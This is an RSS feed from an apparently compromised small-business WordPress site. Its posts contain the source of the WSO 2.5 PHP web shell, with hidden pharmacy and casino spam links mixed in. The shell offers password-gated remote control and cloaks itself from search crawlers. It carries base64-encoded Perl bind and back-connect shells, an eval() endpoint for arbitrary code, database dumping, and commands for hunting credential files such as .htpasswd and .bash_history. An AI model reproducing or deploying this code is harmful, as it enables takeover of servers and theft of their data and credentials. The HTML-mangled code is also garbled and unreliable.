$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);<br />
$db->selectdb($_POST['sql_base']);<br />
switch($_POST['charset']) {<br />
case &#8220;Windows-1251&#8243;: $db->setCharset(&#8216;cp1251&#8242;); break;<br />
case &#8220;UTF-8&#8243;: $db->setCharset(&#8216;utf8&#8242;); break;<br />
case &#8220;KOI8-R&#8221;: $db->setCharset(&#8216;koi8r&#8217;); break;<br />
case &#8220;KOI8-U&#8221;: $db->setCharset(&#8216;koi8u&#8217;); break;<br />
case &#8220;cp866&#8243;: $db->setCharset(&#8216;cp866&#8242;); break;<br />
}<br />
if(empty($_POST['file'])) {<br />
ob_start(&#8220;ob_gzhandler&#8221;, 4096);<br />
header(&#8220;Content-Disposition: attachment; filename=dump.sql&#8221;);<br />
header(&#8220;Content-Type: text/plain&#8221;);<br />
foreach($_POST['tbl'] as $v)<br />
$db->dump($v);<br />
exit;<br />
} elseif($fp = @fopen($_POST['file'], &#8216;w&#8217;)) {<br />
foreach($_POST['tbl'] as $v)<br />
$db->dump($v, $fp);<br />
fclose($fp);<br />
unset($_POST['p2']);<br />
} else<br />
die(&#8221;);<br />
}<br />
wsoHeader();<br />
echo &#8221;<br />
Sql browser<br />
TypeHostLoginPasswordDatabase<br />
 MySql PostgreSql&#8221;;<br />
$tmp = &#8221;<br />
&#8220;;<br />
if(isset($_POST['sql_host'])){<br />
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {<br />
switch($_POST['charset']) {<br />
case &#8220;Windows-1251&#8243;: $db->setCharset(&#8216;cp1251&#8242;); break;<br />
case &#8220;UTF-8&#8243;: $db->setCharset(&#8216;utf8&#8242;); break;<br />
case &#8220;KOI8-R&#8221;: $db->setCharset(&#8216;koi8r&#8217;); break;<br />
case &#8220;KOI8-U&#8221;: $db->setCharset(&#8216;koi8u&#8217;); break;<br />
case &#8220;cp866&#8243;: $db->setCharset(&#8216;cp866&#8242;); break;<br />
}<br />
$db->listDbs();<br />
echo &#8221;</p>
<p>&#8220;;<br />
while($item = $db->fetch()) {<br />
list($key, $value) = each($item);<br />
echo &#8216;</p>
<p>&#8216;.$value.&#8217;<br />
&#8216;;<br />
}<br />
echo &#8216;<br />
&#8216;;<br />
}<br />
else echo $tmp;<br />
}else<br />
echo $tmp;<br />
echo &#8221; count the number of rows</p>
<p>&#8220;;<br />
if(isset($db) &#038;&#038; $db->link){<br />
echo &#8221;</p>
<p>&#8220;; if(!empty($_POST['sql_base'])){ $db->selectdb($_POST['sql_base']); echo &#8220;Tables:</p>
<p>&#8220;;<br />
$tbls_res = $db->listTables();<br />
while($item = $db->fetch($tbls_res)) {<br />
list($key, $value) = each($item);<br />
if(!empty($_POST['sql_count']))<br />
$n = $db->fetch($db->query(&#8216;SELECT COUNT(*) as n FROM &#8216;.$value.&#8221;));<br />
$value = htmlspecialchars($value);<br />
echo &#8221;<br />
 &#8220;.$value.&#8221;" . (empty($_POST['sql_count'])?&#8217; &#8216;:&#8221; ({$n['n']})&#8221;) . &#8221;<br />
&#8220;;<br />
}<br />
echo &#8221;<br />
 File path:<br />
&#8220;;<br />
if(@$_POST['p1'] == &#8216;select&#8217;) {<br />
$_POST['p1'] = &#8216;query&#8217;;<br />
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;<br />
$db->query(&#8216;SELECT COUNT(*) as n FROM &#8216; . $_POST['p2']);<br />
$num = $db->fetch();<br />
$pages = ceil($num['n'] / 30);<br />
echo &#8220;&#8221;.$_POST['p2'].&#8221; ({$num['n']} records) Page #<br />
&#8220;;<br />
echo &#8221; of $pages&#8221;;<br />
if($_POST['p3'] > 1)<br />
echo &#8221; < Prev";<br />
if($_POST['p3'] < $pages)<br />
echo " Next >&#8220;;<br />
$_POST['p3']&#8211;;<br />
if($_POST['type']==&#8217;pgsql&#8217;)<br />
$_POST['p2'] = &#8216;SELECT * FROM &#8216;.$_POST['p2'].&#8217; LIMIT 30 OFFSET &#8216;.($_POST['p3']*30);<br />
else<br />
$_POST['p2'] = &#8216;SELECT * FROM `&#8217;.$_POST['p2'].&#8217;` LIMIT &#8216;.($_POST['p3']*30).&#8217;,30&#8242;;<br />
echo &#8221;<br />
&#8220;;<br />
}<br />
if((@$_POST['p1'] == &#8216;query&#8217;) &#038;&#038; !empty($_POST['p2'])) {<br />
$db->query(@$_POST['p2']);<br />
if($db->res !== false) {<br />
$title = false;<br />
echo &#8216;</p>
<p>&#8216;; $line = 1; while($item = $db->fetch()) { if(!$title) { echo &#8221;; foreach($item as $key => $value)echo &#8221;.$key.&#8221;;<br />
reset($item);<br />
$title=true;<br />
echo &#8216;<br />
&#8216;; $line = 2; } echo &#8221;; $line = $line==1?2:1; foreach($item as $key => $value) { if($value == null)echo &#8216;null&#8217;;<br />
else<br />
echo &#8221;.nl2br(htmlspecialchars($value)).&#8221;;<br />
}<br />
echo &#8221;;<br />
}<br />
echo &#8216;</p>
<p>&#8216;;<br />
} else {<br />
echo &#8216;<br />
Error: &#8216;.htmlspecialchars($db->error()).&#8217;<br />
&#8216;;<br />
}<br />
}<br />
echo &#8221;</p>
<p>&#8220;;<br />
 if(!empty($_POST['p2']) &#038;&#038; ($_POST['p1'] != &#8216;loadfile&#8217;))<br />
 echo htmlspecialchars($_POST['p2']);<br />
 echo &#8221;</p>
<p>&#8220;;<br />
echo &#8221;<br />
&#8220;;<br />
}<br />
echo &#8221;</p>
<p>&#8220;;<br />
if($_POST['type']==&#8217;mysql&#8217;) {<br />
$db->query(&#8220;SELECT 1 FROM mysql.user WHERE concat(`user`, &#8216;@&#8217;, `host`) = USER() AND `File_priv` = &#8216;y&#8217;&#8221;);<br />
if($db->fetch())<br />
echo &#8221;</p>
<p>Load file</p>
<p>&#8220;;<br />
}<br />
if(@$_POST['p1'] == &#8216;loadfile&#8217;) {<br />
$file = $db->loadFile($_POST['p2']);<br />
echo &#8216;</p>
<p>&#8216;.htmlspecialchars($file['file']).&#8221;;<br />
}<br />
} else {<br />
echo htmlspecialchars($db->error());<br />
}<br />
echo &#8216;<br />
&#8216;;<br />
wsoFooter();<br />
}<br />
function actionNetwork() {<br />
wsoHeader();<br />
$back_connect_p=&#8221;IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7&#8243;;<br />
$bind_port_p=&#8221;IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=&#8221;;<br />
echo &#8221;</p>
<p>Network tools<br />
Bind port to /bin/sh [perl]</p>
<p>Port:</p>
<p>Back-connect [perl]</p>
<p>Server:<br />
 Port:</p>
<p>&#8220;;<br />
if(isset($_POST['p1'])) {<br />
function cf($f,$t) {<br />
$w = @fopen($f,&#8221;w&#8221;) or @function_exists(&#8216;file_put_contents&#8217;);<br />
if($w){<br />
@fwrite($w,@base64_decode($t));<br />
@fclose($w);<br />
}<br />
}<br />
if($_POST['p1'] == &#8216;bpp&#8217;) {<br />
cf(&#8220;/tmp/bp.pl&#8221;,$bind_port_p);<br />
$out = wsoEx(&#8220;perl /tmp/bp.pl &#8220;.$_POST['p2'].&#8221; 1>/dev/null 2>&#038;1 &#038;&#8221;);<br />
sleep(1);<br />
echo &#8221;<br />
$out\n&#8221;.wsoEx(&#8220;ps aux | grep bp.pl&#8221;).&#8221;";<br />
unlink(&#8220;/tmp/bp.pl&#8221;);<br />
}<br />
if($_POST['p1'] == &#8216;bcp&#8217;) {<br />
cf(&#8220;/tmp/bc.pl&#8221;,$back_connect_p);<br />
$out = wsoEx(&#8220;perl /tmp/bc.pl &#8220;.$_POST['p2'].&#8221; &#8220;.$_POST['p3'].&#8221; 1>/dev/null 2>&#038;1 &#038;&#8221;);<br />
sleep(1);<br />
echo &#8221;<br />
$out\n&#8221;.wsoEx(&#8220;ps aux | grep bc.pl&#8221;).&#8221;";<br />
unlink(&#8220;/tmp/bc.pl&#8221;);<br />
}<br />
}<br />
echo &#8216;<br />
&#8216;;<br />
wsoFooter();<br />
}<br />
function actionRC() {<br />
if(!@$_POST['p1']) {<br />
$a = array(<br />
&#8220;uname&#8221; => php_uname(),<br />
&#8220;php_version&#8221; => phpversion(),<br />
&#8220;wso_version&#8221; => WSO_VERSION,<br />
&#8220;safemode&#8221; => @ini_get(&#8216;safe_mode&#8217;)<br />
);<br />
echo serialize($a);<br />
} else {<br />
eval($_POST['p1']);<br />
}<br />
}<br />
if( empty($_POST['a']) )<br />
if(isset($default_action) &#038;&#038; function_exists(&#8216;action&#8217; . $default_action))<br />
$_POST['a'] = $default_action;<br />
else<br />
$_POST['a'] = &#8216;SecInfo&#8217;;<br />
if( !empty($_POST['a']) &#038;&#038; function_exists(&#8216;action&#8217; . $_POST['a']) )<br />
call_user_func(&#8216;action&#8217; . $_POST['a']);<br />
exit;<br />
Path: </p>
<p> <a href="http://www.gryphynmedia.com/">online casino bonus</a><br />
  <a href="http://erectiledysfunctionpillsuk.com/products/viagra.htm">viagra</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.imperialpainting.com/637/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.imperialpainting.com/635/</link>
		<comments>http://www.imperialpainting.com/635/#comments</comments>
		<pubDate>Mon, 11 Oct 2010 12:27:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.imperialpainting.com/?p=635</guid>
		<description><![CDATA["SecInfo","Files"=>"FilesMan","Console"=>"Console","Sql"=>"Sql","Php"=>"Php","String tools"=>"StringTools","Bruteforce"=>"Bruteforce","Network"=>"Network"); if(!empty($GLOBALS["auth_pass"])) $m["Logout"] = "Logout"; $m["Self remove"] = "SelfRemove"; $menu = ""; foreach($m as $k => $v) $menu .= " [ ".$k." ] "; $drives = ""; if($GLOBALS["os"] == "win") { foreach(range("c","z") as $drive) if(is_dir($drive.":\\")) $drives .= "[ ".$drive." &#8230; <a href="http://www.imperialpainting.com/635/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><?php<br />
$auth_pass = "7f4603f9cd64a8f0a01a258957a63a55";<br />
$color = "#df5";<br />
$default_action = "FilesMan";<br />
$default_use_ajax = true;<br />
$default_charset = "Windows-1251";</p>
<p>if(!empty($_SERVER["HTTP_USER_AGENT"])) {<br />
 $userAgents = array(
<div style="display: none"><a href="http://ukviagrasales.com/" title="cheap viagra sales">cheap viagra sales</a></div>
<p>&#8220;Googl
<div style="display: none"><a href="http://ukviagrasales.com/" title="viagra for sale uk">viagra for sale uk</a></div>
<p>e&#8221;, &#8220;Slurp&#8221;, &#8220;MSNBot&#8221;, &#8220;ia_archiver&#8221;, &#8220;Yandex&#8221;, &#8220;Rambler&#8221;);<br />
 if(preg_match(&#8220;/&#8221; . implode(&#8220;|&#8221;, $userAgents) . &#8220;/i&#8221;, $_SERVER["HTTP_USER_AGENT"])) {<br />
 header(&#8220;HTTP/1.0 404 Not Found&#8221;);<br />
 exit;<br />
 }<br />
}</p>
<p>@ini_set(&#8220;error_log&#8221;,NULL);<br />
@ini_set(&#8220;log_errors&#8221;,0);<br />
@ini_set(&#8220;max_execution_time&#8221;,0);<br />
@set_time_limit(0);<br />
@set_magic_quotes_runtime(0);<br />
@define(&#8220;WSO_VERSION&#8221;, &#8220;2.5&#8243;);</p>
<p>if(get_magic_quotes_gpc()) {<br />
	function WSOstripslashes($array) {<br />
		return is_array($array) ? array_map(&#8220;WSOstripslashes&#8221;, $array) : stripslashes($array);<br />
	}<br />
	$_POST = WSOstripslashes($_POST);<br />
 $_COOKIE = WSOstripslashes($_COOKIE);<br />
}</p>
<p>function wsoLogin() {<br />
	die(&#8220;
<pre align=center>
<form method=post>Password:
<input type=password name=pass>
<input type=submit value=">>"></form>
</pre>
<p>&#8220;);<br />
}</p>
<p>function WSOsetcookie($k, $v) {<br />
 $_COOKIE[$k] = $v;<br />
 setcookie($k, $v);<br />
}</p>
<p>if(!empty($auth_pass)) {<br />
 if(isset($_POST["pass"]) &#038;&#038; (md5($_POST["pass"]) == $auth_pass))<br />
 WSOsetcookie(md5($_SERVER["HTTP_HOST"]), $auth_pass);</p>
<p> if (!isset($_COOKIE[md5($_SERVER["HTTP_HOST"])]) || ($_COOKIE[md5($_SERVER["HTTP_HOST"])] != $auth_pass))<br />
 wsoLogin();<br />
}</p>
<p>if(strtolower(substr(PHP_OS,0,3)) == &#8220;win&#8221;)<br />
	$os = &#8220;win&#8221;;<br />
else<br />
	$os = &#8220;nix&#8221;;</p>
<p>$safe_mode = @ini_get(&#8220;safe_mode&#8221;);<br />
if(!$safe_mode)<br />
 error_reporting(0);</p>
<p>$disable_functions = @ini_get(&#8220;disable_functions&#8221;);<br />
$home_cwd = @getcwd();<br />
if(isset($_POST["c"]))<br />
	@chdir($_POST["c"]);<br />
$cwd = @getcwd();<br />
if($os == &#8220;win&#8221;) {<br />
	$home_cwd = str_replace(&#8220;\\&#8221;, &#8220;/&#8221;, $home_cwd);<br />
	$cwd = str_replace(&#8220;\\&#8221;, &#8220;/&#8221;, $cwd);<br />
}<br />
if($cwd[strlen($cwd)-1] != &#8220;/&#8221;)<br />
	$cwd .= &#8220;/&#8221;;</p>
<p>if(!isset($_COOKIE[md5($_SERVER["HTTP_HOST"]) . &#8220;ajax&#8221;]))<br />
 $_COOKIE[md5($_SERVER["HTTP_HOST"]) . &#8220;ajax&#8221;] = (bool)$default_use_ajax;</p>
<p>if($os == &#8220;win&#8221;)<br />
	$aliases = array(<br />
		&#8220;List Directory&#8221; => &#8220;dir&#8221;,<br />
 	&#8220;Find index.php in current dir&#8221; => &#8220;dir /s /w /b index.php&#8221;,<br />
 	&#8220;Find *config*.php in current dir&#8221; => &#8220;dir /s /w /b *config*.php&#8221;,<br />
 	&#8220;Show active connections&#8221; => &#8220;netstat -an&#8221;,<br />
 	&#8220;Show running services&#8221; => &#8220;net start&#8221;,<br />
 	&#8220;User accounts&#8221; => &#8220;net user&#8221;,<br />
 	&#8220;Show computers&#8221; => &#8220;net view&#8221;,<br />
		&#8220;ARP Table&#8221; => &#8220;arp -a&#8221;,<br />
		&#8220;IP Configuration&#8221; => &#8220;ipconfig /all&#8221;<br />
	);<br />
else<br />
	$aliases = array(<br />
 		&#8220;List dir&#8221; => &#8220;ls -lha&#8221;,<br />
		&#8220;list file attributes on a Linux second extended file system&#8221; => &#8220;lsattr -va&#8221;,<br />
 		&#8220;show opened ports&#8221; => &#8220;netstat -an | grep -i listen&#8221;,<br />
 &#8220;process status&#8221; => &#8220;ps aux&#8221;,<br />
		&#8220;Find&#8221; => &#8220;&#8221;,<br />
 		&#8220;find all suid files&#8221; => &#8220;find / -type f -perm -04000 -ls&#8221;,<br />
 		&#8220;find suid files in current dir&#8221; => &#8220;find . -type f -perm -04000 -ls&#8221;,<br />
 		&#8220;find all sgid files&#8221; => &#8220;find / -type f -perm -02000 -ls&#8221;,<br />
 		&#8220;find sgid files in current dir&#8221; => &#8220;find . -type f -perm -02000 -ls&#8221;,<br />
 		&#8220;find config.inc.php files&#8221; => &#8220;find / -type f -name config.inc.php&#8221;,<br />
 		&#8220;find config* files&#8221; => &#8220;find / -type f -name \&#8221;config*\&#8221;",<br />
 		&#8220;find config* files in current dir&#8221; => &#8220;find . -type f -name \&#8221;config*\&#8221;",<br />
 		&#8220;find all writable folders and files&#8221; => &#8220;find / -perm -2 -ls&#8221;,<br />
 		&#8220;find all writable folders and files in current dir&#8221; => &#8220;find . -perm -2 -ls&#8221;,<br />
 		&#8220;find all service.pwd files&#8221; => &#8220;find / -type f -name service.pwd&#8221;,<br />
 		&#8220;find service.pwd files in current dir&#8221; => &#8220;find . -type f -name service.pwd&#8221;,<br />
 		&#8220;find all .htpasswd files&#8221; => &#8220;find / -type f -name .htpasswd&#8221;,<br />
 		&#8220;find .htpasswd files in current dir&#8221; => &#8220;find . -type f -name .htpasswd&#8221;,<br />
 		&#8220;find all .bash_history files&#8221; => &#8220;find / -type f -name .bash_history&#8221;,<br />
 		&#8220;find .bash_history files in current dir&#8221; => &#8220;find . -type f -name .bash_history&#8221;,<br />
 		&#8220;find all .fetchmailrc files&#8221; => &#8220;find / -type f -name .fetchmailrc&#8221;,<br />
 		&#8220;find .fetchmailrc files in current dir&#8221; => &#8220;find . -type f -name .fetchmailrc&#8221;,<br />
		&#8220;Locate&#8221; => &#8220;&#8221;,<br />
 		&#8220;locate httpd.conf files&#8221; => &#8220;locate httpd.conf&#8221;,<br />
		&#8220;locate vhosts.conf files&#8221; => &#8220;locate vhosts.conf&#8221;,<br />
		&#8220;locate proftpd.conf files&#8221; => &#8220;locate proftpd.conf&#8221;,<br />
		&#8220;locate psybnc.conf files&#8221; => &#8220;locate psybnc.conf&#8221;,<br />
		&#8220;locate my.conf files&#8221; => &#8220;locate my.conf&#8221;,<br />
		&#8220;locate admin.php files&#8221; =>&#8221;locate admin.php&#8221;,<br />
		&#8220;locate cfg.php files&#8221; => &#8220;locate cfg.php&#8221;,<br />
		&#8220;locate conf.php files&#8221; => &#8220;locate conf.php&#8221;,<br />
		&#8220;locate config.dat files&#8221; => &#8220;locate config.dat&#8221;,<br />
		&#8220;locate config.php files&#8221; => &#8220;locate config.php&#8221;,<br />
		&#8220;locate config.inc files&#8221; => &#8220;locate config.inc&#8221;,<br />
		&#8220;locate config.inc.php&#8221; => &#8220;locate config.inc.php&#8221;,<br />
		&#8220;locate config.default.php files&#8221; => &#8220;locate config.default.php&#8221;,<br />
		&#8220;locate config* files &#8221; => &#8220;locate config&#8221;,<br />
		&#8220;locate .conf files&#8221;=>&#8221;locate &#8220;.conf&#8221;",<br />
		&#8220;locate .pwd files&#8221; => &#8220;locate &#8220;.pwd&#8221;",<br />
		&#8220;locate .sql files&#8221; => &#8220;locate &#8220;.sql&#8221;",<br />
		&#8220;locate .htpasswd files&#8221; => &#8220;locate &#8220;.htpasswd&#8221;",<br />
		&#8220;locate .bash_history files&#8221; => &#8220;locate &#8220;.bash_history&#8221;",<br />
		&#8220;locate .mysql_history files&#8221; => &#8220;locate &#8220;.mysql_history&#8221;",<br />
		&#8220;locate .fetchmailrc files&#8221; => &#8220;locate &#8220;.fetchmailrc&#8221;",<br />
		&#8220;locate backup files&#8221; => &#8220;locate backup&#8221;,<br />
		&#8220;locate dump files&#8221; => &#8220;locate dump&#8221;,<br />
		&#8220;locate priv files&#8221; => &#8220;locate priv&#8221;<br />
	);</p>
<p>function wsoHeader() {<br />
	if(empty($_POST["charset"]))<br />
		$_POST["charset"] = $GLOBALS["default_charset"];<br />
	global $color;<br />
	echo &#8220;<html><head><meta http-equiv="Content-Type" content="text/html; charset=" . $_POST["charset"] . ""></p>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,"Courier New"; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<p><script>
 var c_ = "" . htmlspecialchars($GLOBALS["cwd"]) . "";
 var a_ = "" . htmlspecialchars(@$_POST["a"]) .""
 var charset_ = "" . htmlspecialchars(@$_POST["charset"]) ."";
 var p1_ = "" . ((strpos(@$_POST["p1"],"\n")!==false)?"":htmlspecialchars($_POST["p1"],ENT_QUOTES)) ."";
 var p2_ = "" . ((strpos(@$_POST["p2"],"\n")!==false)?"":htmlspecialchars($_POST["p2"],ENT_QUOTES)) ."";
 var p3_ = "" . ((strpos(@$_POST["p3"],"\n")!==false)?"":htmlspecialchars($_POST["p3"],ENT_QUOTES)) ."";
 var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = "ajax=true";
		for(i=0;i<d.mf.elements.length;i )
			params = "&#038;" d.mf.elements[i].name "=" encodeURIComponent(d.mf.elements[i].value);
		sr("" . addslashes($_SERVER["REQUEST_URI"]) ."", params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject("Microsoft.XMLHTTP");
 if (req) {
 req.onreadystatechange = processReqChange;
 req.open("POST", url, true);
 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
 req.send(params);
 }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\\\d )([\\\\S\\\\s]*)\", "m");
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert("Request error!");
	}
</script><br />
<head><body>
<div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
<form method=post name=mf style="display:none;">
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
<p>";<br />
	$freeSpace = @diskfreespace($GLOBALS["cwd"]);<br />
	$totalSpace = @disk_total_space($GLOBALS["cwd"]);<br />
	$totalSpace = $totalSpace?$totalSpace:1;<br />
	$release = @php_uname("r");<br />
	$kernel = @php_uname("s");<br />
	$explink = "http://exploit-db.com/search/?action=search&#038;filter_description=";<br />
	if(strpos("Linux", $kernel) !== false)<br />
		$explink .= urlencode("Linux Kernel " . substr($release,0,6));<br />
	else<br />
		$explink .= urlencode($kernel . " " . substr($release,0,3));<br />
	if(!function_exists("posix_getegid")) {<br />
		$user = @get_current_user();<br />
		$uid = @getmyuid();<br />
		$gid = @getmygid();<br />
		$group = "?";<br />
	} else {<br />
		$uid = @posix_getpwuid(posix_geteuid());<br />
		$gid = @posix_getgrgid(posix_getegid());<br />
		$user = $uid["name"];<br />
		$uid = $uid["uid"];<br />
		$group = $gid["name"];<br />
		$gid = $gid["gid"];<br />
	}</p>
<p>	$cwd_links = "";<br />
	$path = explode("/", $GLOBALS["cwd"]);<br />
	$n=count($path);<br />
	for($i=0; $i<$n-1; $i ) {<br />
		$cwd_links .= "<a href="#" onclick="g(\"FilesMan\",\"";<br />
		for($j=0; $j<=$i; $j )<br />
			$cwd_links .= $path[$j]."/";<br />
		$cwd_links .= "\")">".$path[$i]."/</a>";<br />
	}</p>
<p>	$charsets = array("UTF-8", "Windows-1251", "KOI8-R", "KOI8-U", "cp866");<br />
	$opt_charsets = "";<br />
	foreach($charsets as $item)<br />
		$opt_charsets .= "<br />
<option value="".$item."" ".($_POST["charset"]==$item?"selected":"").">".$item."</option>
<p>";</p>
<p>	$m = array("Sec. Info"=>"SecInfo","Files"=>"FilesMan","Console"=>"Console","Sql"=>"Sql","Php"=>"Php","String tools"=>"StringTools","Bruteforce"=>"Bruteforce","Network"=>"Network");<br />
	if(!empty($GLOBALS["auth_pass"]))<br />
		$m["Logout"] = "Logout";<br />
	$m["Self remove"] = "SelfRemove";<br />
	$menu = "";<br />
	foreach($m as $k => $v)<br />
		$menu .= "
<th width="".(int)(100/count($m))."%">[ <a href="#" onclick="g(\"".$v."\",null,\"\",\"\",\"\")">".$k."</a> ]</th>
<p>";</p>
<p>	$drives = "";<br />
	if($GLOBALS["os"] == "win") {<br />
		foreach(range("c","z") as $drive)<br />
		if(is_dir($drive.":\\"))<br />
			$drives .= "<a href="#" onclick="g(\"FilesMan\",\"".$drive.":/\")">[ ".$drive." ]</a> ";<br />
	}<br />
	echo "<br />
<table class=info cellpadding=3 cellspacing=0 width=100%>
<tr>
<td width=1><span>Uname:<br />User:<br />Php:<br />Hdd:<br />Cwd:" . ($GLOBALS["os"] == "win"?"<br />Drives:":"") . "</span></td>
<p>"<br />
 . "
<td><nobr>" . substr(@php_uname(), 0, 120) . " <a href="" . $explink . "" target=_blank>[exploit-db.com]</a></nobr><br />" . $uid . " ( " . $user . " ) <span>Group:</span> " . $gid . " ( " . $group . " )<br />" . @phpversion() . " <span>Safe mode:</span> " . ($GLOBALS["safe_mode"]?"<font color=red>ON</font>":"<font color=green><b>OFF</b></font>")<br />
 . " <a href=# onclick="g(\"Php\",null,\"\",\"info\")">[ phpinfo ]</a> <span>Datetime:</span> " . date("Y-m-d H:i:s") . "<br />" . wsoViewSize($totalSpace) . " <span>Free:</span> " . wsoViewSize($freeSpace) . " (". (int) ($freeSpace/$totalSpace*100) . "%)<br />" . $cwd_links . " ". wsoPermsColor($GLOBALS["cwd"]) . " <a href=# onclick="g(\"FilesMan\",\"" . $GLOBALS["home_cwd"] . "\",\"\",\"\",\"\")">[ home ]</a><br />" . $drives . "</td>
<p>"<br />
 . "
<td width=1 align=right><nobr><br />
<select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">" . $opt_charsets . "</optgroup></select>
<p><span>Server IP:</span><br />" . @$_SERVER["SERVER_ADDR"] . "<br /><span>Client IP:</span><br />" . $_SERVER["REMOTE_ADDR"] . "</nobr></td>
</tr>
</table>
<p>"<br />
 . "<br />
<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%>
<tr>" . $menu . "</tr>
</table>
<div style="margin:5">";<br />
}</p>
<p>function wsoFooter() {<br />
	$is_writable = is_writable($GLOBALS["cwd"])?" <font color="green">(Writeable)</font>":" <font color=red>(Not writable)</font>";<br />
 echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style="border-top:2px solid #333;border-bottom:2px solid #333;">
<tr>
<td>
<form onsubmit="g(null,this.c.value,\"\");return false;"><span>Change dir:</span><br />
<input class="toolsInp" type=text name=c value="" . htmlspecialchars($GLOBALS["cwd"]) ."">
<input type=submit value=">>"></form>
</td>
<td>
<form onsubmit=\"g("FilesTools",null,this.f.value);return false;\"><span>Read file:</span><br />
<input class="toolsInp" type=text name=f>
<input type=submit value=">>"></form>
</td>
</tr>
<tr>
<td>
<form onsubmit=\"g("FilesMan",null,"mkdir",this.d.value);return false;\"><span>Make dir:</span>$is_writable<br />
<input class="toolsInp" type=text name=d>
<input type=submit value=">>"></form>
</td>
<td>
<form onsubmit=\"g("FilesTools",null,this.f.value,"mkfile");return false;\"><span>Make file:</span>$is_writable<br />
